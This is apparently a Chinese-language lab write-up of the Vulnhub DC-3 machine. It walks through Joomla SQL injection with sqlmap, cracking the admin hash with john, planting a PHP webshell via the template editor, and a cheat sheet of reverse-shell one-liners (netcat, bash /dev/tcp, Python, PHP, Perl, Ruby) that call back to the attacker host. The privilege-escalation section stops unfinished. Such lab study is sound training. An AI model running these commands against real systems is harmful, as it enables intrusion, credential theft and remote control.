一、环境搭建

攻击机:Kali-2021.3:192.168.8.105

靶机:Vulnhub-DC-3:192.168.8.180

二、信息收集

主机探活

1
nmap -sP 192.168.8.0/24

找到目标IP后继续扫描其开放端口

1
namp -A -p- 192.168.8.180

看到它只开放了80端口,同时也扫描到了网站的CMS

或者我们也可以用whatweb来扫描网站信息

1
whatweb 192.168.8.180:80

再或者我们可以先访问IP的80端口,利用Firefox的插件来找出网站的相关信息

在网站首页有与一段文字,翻译一下,意思是只有一个flag,只有获得root权限才能找到

欢迎来到 DC-3。 这一次,只有一个flag,一个入口,没有任何线索。 要获得flag,您显然必须获得 root 权限。 如何成为 root 取决于您 - 显然,取决于系统。 祝你好运 - 我希望你喜欢这个小挑战。 :-)

三、实战

1、漏洞分析

首先我们知道它的CMS是Joomla,所以我们就使用专门的扫描工具来对其扫描

1
joomscan --url http://192.168.8.180

可以看到它扫出了网站的CMS版本信息以及网站的管理员登录入口

访问一下

现在我们知道了CMS版本信息,那么就来看看这个版本是否有漏洞吧

1
searchsploit Joomla 3.7.0

可以看到找到了一个SQL注入的漏洞,查看一下漏洞信息

1
searchsploit -x php/webapps/42033.txt

可以看到里面给出了payload,告诉我们使用sqlmap就可以了

1
sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

发现了五个数据库,很明显第二个数据库是我们的目标

  1. 查找数据库joomladb的所有表

    1
    sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

  2. 查看表#__users的内容

    1
    sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

  3. 查询字段usernamepassword的内容

    1
    sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "username,password" --dump -p list[fullordering]

    成功找到管理员账户密码

但这个密码是经过了hash加密,因此我们使用john爆破一下,把密码保存到文件里

1
2
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt
john 1.txt

因为我之前已经爆破过了,第二次爆破john不会显示出结果,要想显示出结果,就使用

1
john -show 1.txt

成功得到账号/密码

admin

snoopy

2、登录后台

然后就是寻找寻找有没有文件上传点、文件包含点之类的来拿到webshell

寻找一段时间后发现在Extensions-Templates-Templates里可以新建并上传文件

新建一个php文件,然后写入一句话木马

保存上传后,接下来就是找到这个文件的路径

根据这句话大概能猜到这个文件所在的路径,也可以网上找找资料

1
http://192.168.8.180/templates/beez3/html/shell.php

3、getshell并反弹shell

蚁剑连接

成功得到shell,然后开始反弹shell,反弹shell可以方便我们后面的提权

kali开启监听

1
nc -lvp 2222

接下来就是反弹shell了

总结一下常见的反弹shell的方法:

  1. 利用netcat反弹shell

    1
    nc 192.168.8.105 2222 -e /bin/bash

    如果nc无法使用-e参数时使用

    1
    2
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.105 2222>/tmp/f
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.105 2222>/tmp/f
  2. 利用Bash反弹shell

    1
    2
    bash -i >& /dev/tcp/192.168.8.105/2222 0>&1
    bash -c "bash -i >& /dev/tcp/192.168.8.105/2222 0>&1"
  3. 各种脚本反弹shell

    • Python 脚本反弹shell(当目标主机上有Python环境)

      1
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.105",2222	));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    • php脚本反弹shell(当目标主机上有php环境)

      1
      php -r '$sock=fsockopen("192.168.8.105",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
    • Perl脚本反弹shell(当目标主机上有Perl环境)

      1
      perl -e 'use Socket;$i="192.168.8.105";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    • Ruby脚本反弹shell(当目标主机上有Ruby环境)

      1
      ruby -rsocket -e 'c=TCPSocket.new("192.168.8.105","2222");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

因此这里我们尝试使用nc进行反弹

但是发现目标主机上的nc无法使用-e参数

因此这个方法行不通,那就使用这个来进行反弹

1
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.105 2222>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.105 2222>/tmp/f

成功反弹

4、提权

先来尝试一下能不能SUID提权以及有没有可以使用的免密的root权限的文件

发现并不存在我们可以很好利用的文件

那就收集一下目标主机的一些信息吧

  1. 查看操作系统的版本信息

    1
    cat /proc/version
  2. 查看操作系统的发行版本信息

    1
    cat /etc/issue

得到对应的版本信息

Linux 4.4.0-21

Ubuntu 16.04(32-bit)

那么就去寻找看看它是否有漏洞

1
searchsploit ubuntu 16.04

可以看到有很多的漏洞,我们该如何选择呢

通过上面得到的Linux的版本信息和Ubuntu是32位的我们可以排除掉一些,最后只剩下几个

然后因为C语言的脚本用起来比较复杂,所以我们优先看看39772.txt这个文件

1
searchsploit -x linux/local/39772.txt

里面告诉我们要去Github下载它的压缩包

然后我们要找到目标主机上可以上传文件的地方,然后用wget进行下载即可,比如tmp目录,这是一个用来存储临时文件的地方,所以我们有权限往里面上传文件

出了点小问题,待续

参考文章

dc-3 靶机渗透学习_ZredamanJ的博客-CSDN博客_dc3靶机

Vulnhub靶机:DC-3渗透详细过程_1erkeU的博客-CSDN博客

反弹Shell,看这一篇就够了-腾讯云开发者社区-腾讯云